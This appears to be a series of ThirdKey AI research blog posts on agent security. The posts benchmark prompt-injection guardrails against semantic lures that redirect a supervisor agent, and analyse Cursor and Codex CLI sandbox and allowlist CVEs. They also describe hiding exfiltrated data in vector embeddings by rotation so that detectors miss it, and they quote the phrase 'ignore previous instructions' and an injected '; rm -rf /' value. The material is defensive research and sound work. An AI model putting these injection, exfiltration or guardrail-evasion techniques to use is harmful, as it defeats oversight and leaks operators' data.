Jascha Wanger — ThirdKey AI Research

We built a content-marker fence for cross-agent injection. It matched known injection patterns and stripped them before the downstream agent could act on them. On our own attack shapes, it dropped escape rate from 59% to 3.6%.

Then we tested it properly.

The held-out experiment

Every attack shape in our prior evaluation was authored by the same team that designed the fences. Those results answer “do our fences fire on the shapes we wrote?” not “what fraction of real attacks would they catch?”

For this experiment, a subagent with zero access to the validators, marker list, or canary patterns wrote 90 attack lures from a threat-model-only brief. It approximates a held-out red team. Scoring changed too. Instead of regex canary detection (which shares vocabulary with the marker list, making the measurement partly circular), we scored behaviorally: the downstream supervisor actually ran on the worker’s output, and we checked whether routing flipped to exec_escalation.

The result, pooled across four frontier models (Claude Sonnet 4.6, GPT-5, DeepSeek v4 Pro, Qwen 3.6 Max), n=120 per arm:

The confidence intervals overlap. The marker fence provides no statistically significant protection on blind-authored attacks scored behaviorally. Models paraphrased past it.

We published this. Our own fence failed and we put the data in the repo. Measured on the same axis as the commercial guards below, Symbiont’s own marker detector scores AUC 0.51. A coin flip.

The guardrail landscape, measured properly

We then tested every accessible production guardrail on the same held-out corpus: 90 attack lures plus 30 benign controls (real support tickets). Each guardrail was run in its default recommended configuration on the bare prompt, no agent framing, no custom tuning. We report ROC-AUC (threshold-free separability), the out-of-the-box operating point (default threshold), and the best tuned point (max detection at false-positive rate capped at 5%).

Two rows are a different paradigm. Every other guard is a pattern or safety classifier; these two are reasoning-aware judges — a small LLM reads the request against a declared remit and decides whether it stays in scope. They bracket the range. The 4B judge is the strongest detector we tested on raw separability of these semantic lures, flagging 99% of them. Meta’s production LlamaFirewall framework, run through its AlignmentCheck auditor, catches just 43% — and its verdict is binary, so there is no threshold to tune. Reading intent can beat pattern-matching, but the implementation gap is wide and, as the next section shows, neither reaches a deployable operating point.

Three reads from this table.

First: out of the box, none is deployable. Granite 3.0 catches everything but flags 77% of real traffic. deepset catches everything but flags 57%. The 4B reasoning-aware monitor catches 99% but flags 17%. Meta’s LlamaFirewall catches 43% and flags 17%, with no threshold to move. ShieldGemma, Prompt Guard 2, and the entire Qwen3Guard family flag almost nothing and catch almost nothing (0–6% detection at their default thresholds). Whatever a customer installs and runs at defaults fails.

Second: tuned with labeled data and per-model threshold calibration, the better agent-aware guards (Granite 3.0, Prompt Guard 2, ShieldGemma, and the Qwen3Guard models) genuinely can separate this corpus. AUC near 1.0. That is a real result and we are not going to pretend otherwise.

Third: generic classifiers cannot separate these lures even tuned. ProtectAI (AUC 0.73), AllenAI WildGuard (AUC 0.63, a 7B safety LLM that is still not agent-aware enough), and our own marker detector (AUC 0.51, chance) fail because the attacks are semantic (“read /data/secret/pricing.csv”, “fetch reports.example.com”), not crude “ignore previous instructions.” The lures look like work.

But those tuned numbers are optimistic

The 30 benign controls are all support tickets. Different genre from the attacks. That over-states separability. We added 22 same-domain legitimate prompts from Symbiont’s own task objectives: read an allowed CSV, fetch an internal host, run a real triage. Benign requests that look operationally identical to the filesystem and network attacks.

Every guard’s AUC fell.

The best agent-aware guards (ShieldGemma 0.98, Granite 3.2 0.97) still separate genre-matched traffic, tuning to 78-87% detection at roughly 4% false positives. That is the honest floor for detection done well: a permanent calibration project that catches most attacks at a real false-positive cost, re-tuned every time models or attacks drift.

The Qwen3Guard models keep a high separability score on the hard set (AUC 0.87-0.89) but the number that matters at deployment collapses: tuned to a usable false-positive rate, they catch only 18-24% of attacks. A good AUC is not a deployable operating point.

The reasoning-aware judges are the most interesting failure. The 4B monitor holds the best AUC of any non-1.0 guard on the hard set (0.93) — reading intent genuinely beats word-pattern matching. But it lands on the recall-versus-precision wall: at its native setting it flags 27% of legitimate same-domain traffic, and tuned for precision it catches only 56% of attacks — it misses 44%. Meta’s production LlamaFirewall reaches the same wall from the other side: a fixed binary verdict that catches 43% of attacks at 17% false positives, AUC 0.63, with no knob to turn. Two reasoning-aware monitors, an implementation gap of 0.30 AUC between them, and neither reaches the corner. Smarter detection raises the ceiling. It does not remove the trade-off.

deepset collapses the other way. 100% detection at 40% false positives on the hard set. It flags the legitimate filesystem and network requests. The trigger-happy classifier cannot tell “read the allowed report” from “read the secret report.”

Generic injection classifiers, the WildGuard safety LLM, and our own marker detector stay at chance regardless of tuning.

The structural fix

Detection is a tuning treadmill. Structure is a one-time guarantee.

The injection vector is a confused-deputy problem. Untrusted worker free-text gets spliced into a higher-privilege position. Content filtering fights this surface. The structural fix removes the surface.

Instead of filtering free text, make the privileged decision over typed enum fields and ground it in trusted context. The worker submits submit_triage(category: enum, severity: enum, rationale: str). Routing is a deterministic policy over the typed fields. The rationale field is logged but never influences the routing decision.

Same held-out attacks, same models, n=120 per arm:

Typing alone is not security. A router that trusts the worker’s self-reported severity is worse than the unguarded baseline (40% vs 28%). The attack no longer needs to paraphrase. It just sets severity=critical. 46 of 120 workers did exactly that.

The security comes from grounding the decision in trusted input. Cap the worker’s claim by a severity derived from the trusted ticket. A compromised worker cannot escalate a benign ticket. Zero escapes.

This is not a prototype result. The Symbiont runtime ships the typed + grounded decision. Driving the shipping runtime’s decision module through the same evaluation: 0/120 escalations, 0/30 on every model. The shipping runtime matched the validated prototype on 120/120 trials.

What this does not show

The held-out corpus was authored by a subagent, not an external human red team. The subagent had general attack knowledge but had not seen the fences. An external human set against a frozen fence commit is the stronger next experiment.

The benign-ticket grounding works because the held-out tickets are benign. An attacker who controls the ticket text (indirect injection into the trusted input) is a separate surface.

The 0/120 result has a Wilson 95% CI of [0%, 3%]. The structural mechanism is not probabilistic, but the measurement of it is.

All rates carry wide confidence intervals at these sample sizes (n=90 positive, 30-52 negative). Precise per-guard ranking is noisy. The gross effects are not: out-of-box failure, AUC near chance for generic injection classifiers, and deepset’s 40% false-positive rate on genre-matched negatives.

nemoguard and Llama Guard 4 are not yet included (tokenizer/VRAM constraints). Results will be added on access with version pins.

Reproduce

All numbers regenerate from committed artifacts in the public repo. Guardrail benchmarks use released model versions on the bare prompt with no API key required for the open-source classifiers. Total cost to reproduce the held-out evaluation: approximately $60.

Reports and reproduction scripts: github.com/ThirdKeyAI/symbiont-orga-demo

Next post: structural vector results across filesystem, network, syscall, state mutation, and typed-argument attack families. Six independent measurements, zero escapes.

Jascha Wanger is the founder of ThirdKey AI. Symbiont is the shipping runtime that implements the OATS specification.

Jascha Wanger — ThirdKey AI Research

OWASP’s Agentic Security Initiative published the second edition of State of Agentic AI Security and Governance this month. It is written for CISOs, and most of it reads the way you would expect a year-two report to read. The threats that were architectural worries in 2025 now have production incidents, vendor advisories, and CVEs attached to almost every entry.

One finding deserves more attention than it is getting, because it is being read as the opposite of what it says.

Two CVEs, one shape

The report documents two coding-agent vulnerabilities from the last few months.

CVE-2026-22708, disclosed against Cursor in January 2026, lets an attacker who can influence the agent’s instructions poison the execution environment so that commands the user or the allowlist has already approved run attacker code instead. The dangerous payload does not arrive through a command anyone would have blocked. It arrives through git branch or python3 script.py, commands that were waved through precisely because they looked routine.

CVE-2025-59532, disclosed against OpenAI’s Codex CLI, is the same shape one layer down. The agent’s own output was able to redefine the writable boundary of its sandbox, so file writes and command execution escaped the workspace they were supposed to be confined to.

The report’s line on the Cursor case is the one to sit with. The allowlist, it says, “does not fail to prevent the attack. It streamlines it.” The approved set became the delivery mechanism.

It is easy to read that as a verdict on allowlists. It is not.

The thing both CVEs share

Neither vulnerability is about the contents of an allowlist. Both are about who can reach the allowlist.

In the Cursor case the agent could influence the execution environment that the approved commands ran inside. In the Codex case the agent’s output could move the sandbox boundary. In each one the component being governed had a path to the thing doing the governing. The report names the root cause itself: controls calibrated for human operators become exploitable when the executor can influence its own containment.

That sentence is the whole lesson. These controls were designed on the assumption that the operator and the enforcement boundary are separate parties. A human runs a command, a sandbox confines it, and the human cannot quietly rewrite the sandbox from inside the command. Agents break that assumption. The executor and the thing being executed are now the same probabilistic process, and any control that process can touch is a control an injected instruction can touch.

So the familiar framing, allowlist versus denylist, is arguing about the wrong axis. A denylist fails because you cannot enumerate every bad action in advance. An allowlist is stronger on paper because it inverts that burden. But an allowlist enforced by a process the agent can influence is not a weaker allowlist. It is not an allowlist at all. It is a suggestion that happens to be phrased as a constraint.

The axis that decides whether a control holds is not what it permits. It is whether the governed component can reach the governor.

This is not only a coding-agent problem

It is tempting to file these CVEs under “coding agents are dangerous” and move on. The rest of the report does not let you.

Two of its three headline findings point at the same place. Safety and security, it argues, converge at the deployment layer, because the same permission surface that lets an agent cause harm on its own is the surface an attacker triggers through injection. And governance has to move from static pre-deployment certification to runtime control, because an agent composes its behavior after it is assessed, not before.

Then comes the admission that should interest anyone building in this space. The report says the field is converging on runtime observability as the substitute for certification. Trajectory-level logging, plan-divergence detection, behavioral envelope monitoring. And it adds, plainly, that no consensus architecture has yet taken hold.

Observability is necessary. You cannot govern what you cannot see, and the regulatory clocks now attached to agentic incidents, DORA’s four hours, NIS2’s twenty-four, make telemetry non-negotiable. But observation is not enforcement, and a detector whose inputs the agent’s output can shape inherits the exact problem the CVEs demonstrated, one level up. The report says as much about the deterministic hooks that LangGraph, the OpenAI Agents SDK, Google ADK, and Claude Code have converged on. In practice, it notes, they work better as an early warning layer than as a hard security boundary.

An early warning layer is a denylist with better tooling. It still depends on recognizing the bad thing, and it still sits somewhere the agent can reach.

What actually has to be true

If the lesson is that enforcement fails wherever the governed can influence the governor, then the requirement falls out of it. Enforcement has to be structurally independent of the thing it governs.

Three properties define that, and none of them is exotic.

First, policy evaluation happens outside the model’s address space and outside its influence. The decision about whether an action is allowed is computed by a component the model cannot read, prompt, or rewrite. It is not a system prompt, not a tool the agent calls, not a hook the agent’s output can reshape.

Second, the executor exposes a fixed, named set of actions and nothing else. There is no path by which model output can introduce a new action, redefine an existing one, or move the boundary of what an action may touch. If the action is not in the set at build time, it is not expressible at run time. This is the property both CVEs lacked.

Third, the audit record is append-only and the agent cannot edit it. A trajectory log the agent can influence is evidence the way a diary written by the suspect is evidence. For the deterministic reconstruction that regulators are starting to require, the record has to be tamper-evident independent of the actor it describes.

State those three plainly and most of the current guardrail conversation reclassifies itself. Probabilistic prompt-layer filters and advisory hooks are observability. They belong in the telemetry tier. They are not the boundary, and treating them as one is how you end up with an allowlist that streamlines the attack.

Where we sit, honestly

Symbiont is our attempt to build a runtime where those three properties hold by construction rather than by configuration.

Policy is evaluated by Cedar, outside the model. The reasoning loop is typestate-enforced in Rust, so an invalid phase transition is a compile error rather than a runtime check the agent might talk its way past. The executor is a profile of one: a static handler map with a name-membership check, so an action the model names but the profile does not contain is refused before policy is even consulted. The audit journal is Ed25519 hash-chained and append-only.

We are not claiming this closes the problem. Two of the report’s open questions are open for us too. Human oversight does not scale to an agent taking ten thousand actions an hour, and risk-tiered review only helps if you can compute blast radius in real time, which is hard. Bounding the permission inheritance of dynamically spawned sub-agents is unsolved in the general case, ours included. We think structural independence is the right foundation. We do not think it is the finished building.

But the foundation is the part the 2026 evidence is unusually clear about. The allowlist did not fail because it was an allowlist. It failed because the agent could reach it. Build the enforcement somewhere the agent cannot reach, and most of this report’s worst incidents stop being expressible.

Jascha Wanger is the founder of ThirdKey AI, building cryptographic trust infrastructure for enterprise AI agents. Symbiont is the zero-trust agent runtime described above; the broader trust stack includes SchemaPin (tool schema verification), AgentPin (agent identity), and ToolClad (declarative tool contracts).

Links:

• Symbiont: https://github.com/ThirdKeyAI/Symbiont
• SchemaPin: https://github.com/ThirdKeyAI/SchemaPin
• AgentPin: https://github.com/ThirdKeyAI/AgentPin
• ToolClad: https://github.com/ThirdKeyAI/ToolClad

Based on OWASP GenAI Security Project, “State of Agentic AI Security and Governance” v2.01 (June 2026), CC BY-SA 4.0. CVE references: CVE-2026-22708 (Cursor), CVE-2025-59532 (OpenAI Codex CLI).

Jascha Wanger — ThirdKey AI Research

We’re publishing VectorSmuggle: Steganographic Exfiltration in Embedding Stores and a Cryptographic Provenance Defense, a new ThirdKey Research preprint on a layer of AI infrastructure that has quietly become security-sensitive without quite being treated that way.

Paper: https://doi.org/10.5281/zenodo.20058255 · arXiv:2605.13764

The short version is that vector embeddings have become load-bearing in modern AI systems, but production vector databases ship no native controls for verifying that an embedding hasn’t been modified after the model produced it. The paper studies what an attacker can do with that gap, and what it takes to close it.

The setup

A retrieval-augmented generation pipeline does three things. It chunks documents and runs each chunk through an embedding model. It stores the resulting vectors in a vector database with the source text as metadata. At query time it embeds the user’s question and returns the nearest stored vectors as context for the LLM.

That pipeline now sits underneath enterprise knowledge bases, support agents, legal research, medical workflows, and an expanding set of agentic systems. Its security model has not really kept up. Vector databases have authentication, TLS, encryption at rest, and access logs. None of those reach into the floating-point content of the vectors themselves. We surveyed seven production systems for the paper and found the same gap across all of them: no ingestion-time integrity checks, no provenance attestation, no tamper-evident audit trail for post-ingestion changes.

The reason is historical. Vector databases were optimized for recommendation and public-facing semantic search, where the embeddings were not confidential and integrity attacks were not part of the threat model. The recent re-purposing as a substrate for confidential RAG has happened faster than the security model has been re-examined. This is the same arc DNS, HTTP/3, and default-public S3 buckets all went through.

The attack class

The paper studies steganographic exfiltration. An attacker with write access to the ingestion pipeline hides payload data inside embeddings while preserving the surface-level retrieval behavior the RAG system exposes to legitimate users. An accomplice with read access to the vector store later decodes the payload.

We evaluated six families of post-embedding modifications: additive Gaussian noise, orthogonal rotation, magnitude scaling, fixed offset, cross-model fragmentation, and sequential combinations. The threat model is explicit: this is the insider-with-backup-access case, where the attacker can write to ingestion and read backups but cannot directly exfiltrate source documents because those pass through DLP or live in a data room they don’t have direct access to.

The honest finding has two parts.

First, distribution-shifting techniques have a narrow stealth window. Off-the-shelf anomaly detectors (Isolation Forest, One-Class SVM with an RBF kernel) trained on a clean baseline catch every operating point that meaningfully moves the embedding direction. Noise at sigma = 0.005 already preserves cosine similarity at 0.964 but is detectable by One-Class SVM at AUC 0.796. By sigma = 0.01 both detectors reach AUC 1.000. The good news for defenders: the obvious statistical baseline closes most of the cheap-attack regime.

Second, orthogonal rotation is the structural exception in the small-angle, few-rotation regime. Rotation preserves all pairwise inner products and per-dimension marginal moments by construction, which is exactly the feature surface that distribution-based detectors fit on. Across a 35-point parameter sweep on the synthetic-Gaussian baseline, neither detector exceeded AUC 0.53. The result replicates across four additional embedding models (Nomic, EmbeddingGemma, Snowflake Arctic, MXBai) and across two cross-corpus replications totalling over 26,000 chunks (BEIR NFCorpus and a Quora subset). At the small-angle/default setting, rotation AUC stays near chance on every (model, corpus) pair we tested.

There’s a third wrinkle worth flagging. Against an adaptive attacker with white-box access to the detector, projected-gradient descent within an L2 budget drives both detector AUCs to near-zero while keeping cosine to original above 0.99. Statistical detection is useful as a first filter against casual attackers. It is not a load-bearing security control against attackers who have read the literature.

The capacity question

A natural follow-up: if rotation is undetectable in that regime, how much payload can it actually carry?

We worked out the closed-form answer. For an attacker who shares a key with the receiver selecting K disjoint dimension pairs, encoding b bits per pair as a quantized Givens rotation angle, the per-vector capacity is floor(d/2) times b bits. At d = 3072 (matching text-embedding-3-large) and b = 10, that’s 15,360 bits per vector, or about 1.9 KB.

The encoder/decoder works. We round-trip arbitrary payloads at zero bit error rate under float32 and float16 storage across 21 operating points.

The detection picture is more nuanced. On a synthetic Gaussian baseline both detectors stay at chance across the full sweep, including the full-capacity operating point. On the real text-embedding-3-large corpus, the same protocol becomes detectable at moderate K: One-Class SVM AUC reaches 0.92 at 256 byte payloads and 1.00 at 512 bytes. The reason is that real corpus embeddings cluster on a tighter manifold than uniform-on-the-sphere, and a random-angle disjoint Givens rotation pushes samples off it.

So there’s a real capacity-detectability trade-off on production embeddings. The capacity ceiling is dimension-only. The retrieval-preserving operating point (where cos to original stays above 0.7) sits well below the ceiling, at hundreds of bytes per vector. And the small-angle, few-rotation regime that drives the cos near 1.0 evasion result remains undetectable on real corpora at the parameters used in the headline detection table. A defender relying on distribution-based detection has to commit to a training-set coverage assumption that is hard to verify in practice.

What survives a real vector store

A reviewer-shaped concern is whether quantization or ANN indexing silently destroys the bit channel. We ran the same techniques against seven configurations: FAISS-flat, FAISS-HNSW, FAISS IVF-PQ at m=8 and m=16, Chroma, Qdrant float32, and Qdrant with scalar int8 quantization enabled.

Five of the seven preserve the attacker’s payload identically. Qdrant’s default scalar int8 quantization is a search-time artifact: it affects internal distance computations during HNSW traversal but retrieve() returns the unquantized float32 original, so the bit channel is preserved verbatim. Operators who hoped quantization would destroy hidden payloads should know that the most common production quantization mode does not.

Product quantization is the one configuration that materially narrows the channel. At m=8 the recover-cosine drops to roughly 0.76 on every technique, including clean. At m=16 the floor is 0.88. The narrowing is attacker-independent, which is an important caveat: it’s a side effect of memory optimization, not an intentional integrity control. Operators using PQ get a side benefit accidentally. Operators using anything else don’t.

Why detection isn’t enough

The paper’s central finding, stated honestly, is this: statistical detection is a useful first filter, but its durability depends on preconditions that an operator can’t unilaterally enforce. No rotation in the small-angle regime. No adaptive attacker. Sufficient training-set coverage of the local manifold geometry. Lose any one of those and the detector becomes probabilistic deterrence rather than a security control.

This is the structural argument for moving the integrity question off the distributional layer entirely.

VectorPin

The constructive half of the paper is VectorPin, a minimal cryptographic provenance protocol for embedding integrity.

The idea is straightforward. When the embedding service produces a vector, it signs a canonical commitment over the source content hash, the model identifier, the vector hash, the dimension and dtype, a timestamp, the key id, and any operator-provided metadata. The signature is Ed25519 over a deterministic byte form of those fields. Verification on read recomputes the relevant hashes and checks the signature. Any post-embedding modification breaks vec_hash and triggers a VECTOR_TAMPERED outcome.

The verifier returns distinct outcomes for distinct failures: SIGNATURE_INVALID for forgery, VECTOR_TAMPERED for post-pin modification, SOURCE_MISMATCH for source drift, MODEL_MISMATCH for cross-model substitution, UNKNOWN_KEY for unregistered signers. Operators route on these differently. A vector tampering is potential steganography. A model mismatch is potential cross-model fragmentation. A source mismatch may simply be upstream pipeline drift.

The coverage relative to the studied attacks is structural rather than empirical. Every perturbation technique in the paper modifies the stored vector after the model produced it. Each modification therefore changes vec_hash and fails verification. Cross-model fragmentation is caught by the model field. Under the paper’s post-pinning tamper model, there is no operating point of any of these techniques that VectorPin doesn’t catch, because the protocol commits to the actual model output and any deviation is detectable by anyone holding the public key.

We use vanilla Ed25519 over SHA-256. The cryptographic primitives are not novel and they aren’t supposed to be. The contribution is the canonical byte form for floating-point arrays, the wire-format design, and the cross-language compatibility discipline.

Reference implementations ship in Python, Rust, and TypeScript under Apache 2.0 (pip install vectorpin, cargo add vectorpin, npm install vectorpin), locked together by shared test vectors that gate every change to any side. A drift-detection job in CI regenerates the fixtures on every Python-side change and fails the build if the regenerated bytes differ from what’s committed, so a seemingly-innocuous serialization change can’t silently break Rust or TypeScript verification. A pin produced by any of the three verifies on the other two. A Go port is next.

The Rust port matters because Rust runtimes (Symbiont among them) are increasingly the boundary at which RAG-derived data is consumed by agents. Verification has to happen in-process, without a polyglot sidecar. The TypeScript port matters because a large fraction of RAG application code (LangChain.js, LlamaIndex.TS, edge-deployed retrievers) lives in Node and the browser, and asking those teams to shell out to Python for every read is a non-starter.

Alongside the SDKs, VectorPin ships alpha adapters for the major production vector stores: LanceDB, Chroma, Pinecone, and Qdrant, with pgvector and FAISS on the roadmap. The adapters handle the per-backend specifics (where pin metadata lives, how source text is recovered, how server-side filters compose with verification) so an operator integrating VectorPin doesn’t have to re-derive the canonical-bytes contract for each store. The project home, install commands, adapter status, and current spec live at vectorpin.org.

Provenance over guessing

The framing we propose for the security community: embedding-level integrity is a deployable, standardizable control. It is not a fundamental property of vector databases as built today, and it can become one without inventing new cryptography.

A statistical detector asks “does this vector look anomalous.” That’s useful, but it’s probabilistic, training-data-dependent, and brittle against adaptive attackers. A signed commitment asks “does this vector match what the producer attested.” Either it does or it doesn’t.

The two layers are complementary rather than competing. Detection closes the cheap-attack regime where signatures haven’t been deployed. Provenance closes the durable-attack regime where rotation slips past detectors and adaptive attackers slip past everything else. A defense story that includes both is closed against the threat model in the paper. Either one alone leaves residue.

What VectorPin doesn’t do

The protocol defends a chain of custody after a known-good ingestion event. It does not validate the ingestion event itself. An attacker who controls the signing pipeline can sign whatever vector they want, and verification will succeed. An attacker who modifies the source document before embedding gets an honest signature over the modified content. An attacker who steals the private signing key produces arbitrary valid pins.

These are not bugs in the protocol. They are scope boundaries we set explicitly. Pre-ingestion content integrity controls (signed source documents, in-toto attestations on the ingestion pipeline) and standard secret-management practice (KMS, HSM, time-bounded keys, rotation) remain necessary and complementary. The point of writing the limits down is so that a deployment can match each non-claim to the relevant upstream control rather than discovering the gap during an incident.

Where this fits

RAG security conversations have largely been about prompt injection at the LLM boundary. That’s the visible layer and it’s gotten the attention it deserves. The retrieval substrate underneath has gotten less.

Embeddings are not search hints anymore. They are part of the trust boundary that decides what an AI system sees, what it retrieves, and what it treats as relevant. For agents that act on retrieved content, embeddings are part of the chain that produces real-world effects.

A layer that load-bearing should be verifiable. The components to make that practical (Ed25519, SHA-256, canonical byte forms, signed metadata) have been deployed in adjacent provenance systems for years (sigstore for software artifacts, in-toto for build pipelines, C2PA for media, SchemaPin for tool schemas). The work was applying the design family to a new substrate and shipping reference implementations that interoperate cleanly across the languages that real RAG pipelines are built in.

What we’d like to see next is one of the major vector database vendors shipping native pin verification as a built-in feature. That’s the lowest-friction adoption path: it bypasses third-party library integration, makes the control auditable through the vendor’s compliance attestations, and puts competitive pressure on the rest of the category. The OSS-first release strategy is partly designed to make that adoption tractable. The protocol is open, the references are Apache 2.0, and the cross-language fixtures mean a vendor can adopt it in their own codebase without coupling to ours.

Embedding integrity should be a normal part of secure RAG architecture. Today it isn’t. That gap is closeable, the closure is cheap, and the work is sitting on GitHub.

Paper: https://doi.org/10.5281/zenodo.20058255 · arXiv:2605.13764

VectorPin: vectorpin.org · github.com/ThirdKeyAI/VectorPin

VectorSmuggle: https://github.com/jaschadub/VectorSmuggle

Jascha Wanger — ThirdKey AI Research

AI agents fail the same way human brains do. Not by losing information, but by losing the ability to act on information they still have.

Practitioners have started calling this context rot. The neuroscience literature offers a closely related construct: goal neglect. And if you’re building agents that touch anything consequential, it’s the most important failure mode you’re not thinking about.

The Failure Signature

John Duncan at Cambridge’s MRC Cognition and Brain Sciences Unit first formalized goal neglect in 1996. His critical finding, extended in 2008: goal neglect is not driven by how hard the task is in the moment. It’s driven by how complex the instructions were during setup. Two groups of participants performed the exact same task. The only difference was that one group received more complex instructions. That group showed significantly more goal neglect, even though moment-to-moment demands were identical.

The parallel to LLMs is suggestive and operationally useful, though not yet a demonstrated mechanistic equivalence. Deep into a long conversation, a model’s compliance with system prompt constraints degrades and becomes less reliable. The constraint is still in the context window. The model can locate it, quote it, explain its purpose. But the attention mechanism, competing across tens or hundreds of thousands of tokens, lets it drop out of the behavior-generation process.

Still in context. Not in behavior.

And the observed vulnerability ordering is consistent across both domains. Late-added rules tend to fail first. Conditional overrides degrade next. Edge cases requiring sustained monitoring are early casualties. Core rules, the ones that are unconditional and frequently activated, survive longest. This isn’t yet a rigorous experimental result for LLMs, but it’s a strong engineering heuristic backed by both the neuroscience and practitioner experience.

Bigger context windows push the failure point out. They don’t eliminate it.

Now Make It Adversarial

Most discussion of context rot treats it as an engineering challenge. How do you build orchestration that works despite it? Fair question. But there’s a sharper one:

What happens when the instructions that rot are your security guardrails?

Every agent framework that relies on system prompt instructions for safety is betting that those instructions will survive context rot. The instruction that says “never execute shell commands without user approval.” The rule that says “do not access files outside the project directory.” The constraint that says “if the tool schema has changed since last verification, halt and re-verify.”

These are exactly the class of instructions that the goal neglect framework predicts will be most vulnerable. They’re conditional. They require monitoring for a trigger event. They were typically added after the core task instructions. By the taxonomy of goal neglect, they are the components most likely to drop out of active behavior under load.

And unlike a coding agent that produces a buggy function, a security constraint that rots has a fundamentally different failure profile. The agent doesn’t just produce worse output. It produces output that was supposed to be structurally impossible.

The DeepMind Numbers

Kim et al.’s December 2025 preprint (Google Research / Google DeepMind, later revised in April 2026) makes this concrete. The latest revision reports 260 configurations across 6 benchmarks and 3 LLM families. Their finding: the Independent multi-agent architecture, where agents operate without centralized coordination, amplified errors up to 17.2x compared to single-agent baselines. Not 17% worse. Seventeen times worse. Centralized coordination contained amplification much more effectively.

A March 2026 preprint from Xie et al., titled “From Spark to Fire,” identified the propagation mechanics: cascade amplification (minor inaccuracies solidify into system-level false consensus), topological sensitivity (the shape of the communication graph determines propagation speed), and consensus inertia (once false consensus forms, it resists correction).

Now combine these findings. Context rot degrades the guardrails that are supposed to catch errors. Multi-agent communication amplifies the errors that get through. And without explicit verification or rollback layers, systems may have no reliable self-correcting mechanism once false consensus forms.

This is the threat model that prompt engineering alone cannot reliably address.

What Structural Enforcement Actually Means

Practitioners have converged on several patterns that work despite context rot. Fresh context per iteration. External memory. Graph reasoning outside the context window. Molecular decomposition into single-step tasks. All good engineering.

But for security specifically, there’s a stronger version of this principle: don’t put your enforcement in the context window at all.

This is the core architectural thesis behind Symbiont’s ORGA loop. ORGA stands for Observe-Reason-Gate-Act. The key phase is Gate. When the LLM finishes reasoning and proposes an action, that proposal passes through a Gate evaluation before execution. The Gate runs Cedar policy evaluation. Cedar is a policy language originally developed by AWS for authorization decisions.

The critical property: the Gate phase operates outside LLM influence. It’s not an instruction in the system prompt that can rot. It’s not a rule that competes for attention with the agent’s task context. It’s a compile-time enforced phase transition in a Rust typestate machine. The agent cannot skip from Reason to Act. The type system makes that transition structurally inexpressible.

This is the difference between telling an agent “check the policy before acting” (an instruction that will eventually rot) and making it impossible for the agent to act without the policy check having occurred (a structural guarantee that cannot rot because it doesn’t live in the context window).

The same pattern shows up elsewhere: graph reasoning, scheduling, and coordination logic pushed out of the prompt and into compiled code sitting outside the LLM’s attention budget. Thin agent, thick enforcement layer.

Allow-Lists Don’t Rot (But They Can Be Incomplete)

Context rot follows a consistent vulnerability pattern, and the agentic security implication follows naturally: deny-list rules are exactly the type of instructions most vulnerable to degradation.

A deny-list rule is inherently conditional. “If the agent tries to do X, block it.” It requires the enforcement mechanism to monitor for a trigger, detect it, and intervene. In a prompt-based system, that’s a conditional instruction competing for attention. In Duncan’s taxonomy, it’s a late-added monitoring rule. It’s the first thing to go.

An allow-list doesn’t have this problem. If the agent can only express actions that are pre-defined in a typed contract, dangerous actions aren’t detected and blocked. They’re inexpressible. There’s no instruction to rot because the constraint isn’t an instruction. It’s a structural property of what the agent can say.

Allow-lists can still be incomplete or mis-scoped. A contract that’s too permissive provides a false sense of safety. But a mis-scoped allow-list is a specification bug you can audit and fix. A rotted deny-list is a silent failure you discover in production.

This is what ToolClad does for tool interfaces. Instead of letting the LLM generate arbitrary shell commands and filtering them, ToolClad defines typed parameter slots, output schemas, and invocation templates. The LLM fills in typed fields. The executor validates against the contract and constructs the command from a template. A prompt injection that tries to add ; rm -rf / fails not because a filter caught it, but because the semicolon has no valid slot to occupy.

SchemaPin extends this to tool discovery. Before an agent uses a tool, it cryptographically verifies the tool’s schema against a pinned signature. A schema-modification attack (swap a benign parameter description for an instruction to exfiltrate data) fails because the signature won’t match. This isn’t a rule in the system prompt. It’s ECDSA verification in code. SchemaPin’s TOFU (trust-on-first-use) pinning model materially protects against post-discovery tampering; first-use compromise and signing key theft require additional mitigations at the operational layer.

The Convergence

The agentic AI infrastructure being built in 2025-2026 is converging on solutions to a cognitive constraint that neuroscience identified thirty years ago. Different substrate, same failure signature, same solutions.

The agentic AI security infrastructure being built right now faces the same convergence. Every team that ships agents into production eventually discovers that prompt-based guardrails degrade under load. The ones who’ve been at it longest have all arrived at the same conclusion: enforcement that lives inside the context window is enforcement that will eventually fail.

The solutions are structural. Policy evaluation outside the LLM. Typed contracts that constrain expressible actions. Cryptographic verification that doesn’t depend on the agent remembering to check. Compile-time guarantees that make invalid state transitions inexpressible.

Context rot is real. Goal neglect is the best model we have for why it happens. And the fix is not better prompts.

It’s architecture.

Jascha Wanger is the founder of ThirdKey AI, building cryptographic trust infrastructure for enterprise AI agents. The trust stack includes Symbiont (zero-trust agent runtime), SchemaPin (tool schema verification), AgentPin (agent identity), and ToolClad (declarative tool contracts).

Links:

• Symbiont: https://github.com/ThirdKeyAI/Symbiont
• SchemaPin: https://github.com/ThirdKeyAI/SchemaPin
• AgentPin: https://github.com/ThirdKeyAI/AgentPin
• ToolClad: https://github.com/ThirdKeyAI/ToolClad
• OATS Specification: https://thirdkey.ai/oats

Jascha Wanger — ThirdKey AI Research

Every team building agentic systems hits the same wall eventually. You have a CLI tool. You want your agent to use it. The question is always the same: “How do I safely let an agent run nmap?”

The current answer, across the entire ecosystem, is: write custom glue code. For each tool, you build a wrapper script with argument sanitization, timeout enforcement, output parsing, evidence capture, policy mappings, capability registration, and authorization rules. That is seven steps per tool. It does not scale.

So we built ToolClad.

The Problem Is Structural

The popular approach to agent tool safety is the sandbox. Let the LLM generate a shell command, then intercept it on the way out. Pattern-match against known-dangerous operations. Block the bad ones, allow the rest.

This is a deny-list. And deny-lists have gaps by definition.

LLM generates shell command -> sandbox intercepts -> allow/deny

The agent has already formulated an arbitrary command string. You are hoping your filter catches everything dangerous. You are playing whack-a-mole with an adversary that has the entire shell language at its disposal.

For interactive tools the gap is even wider. An agent with an open psql connection can DROP TABLE as easily as it can SELECT *, because both are just text sent to a PTY. A sandbox watching syscalls sees identical operations. The semantic difference is invisible to the enforcement layer.

Browser agents face the same problem. Today’s browser-capable agents (Claude in Chrome, OpenAI Operator, Playwright-based systems) rely on the LLM’s instruction-following to stay on allowed domains, avoid submitting sensitive forms, and not execute arbitrary JavaScript. That is prompt-based security. It is exactly as robust as the model’s compliance on any given inference.

ToolClad Inverts the Model

ToolClad takes the opposite approach. Instead of generating commands and filtering them, the agent fills typed parameters in a declarative manifest. The runtime validates those parameters, constructs the command from a template, and executes it. The agent never sees or generates a shell command.

LLM fills typed parameters -> policy gate -> executor validates ->
  constructs command from template -> executes -> structured JSON

This is an allow-list. The dangerous action cannot be expressed because the interface does not permit it.

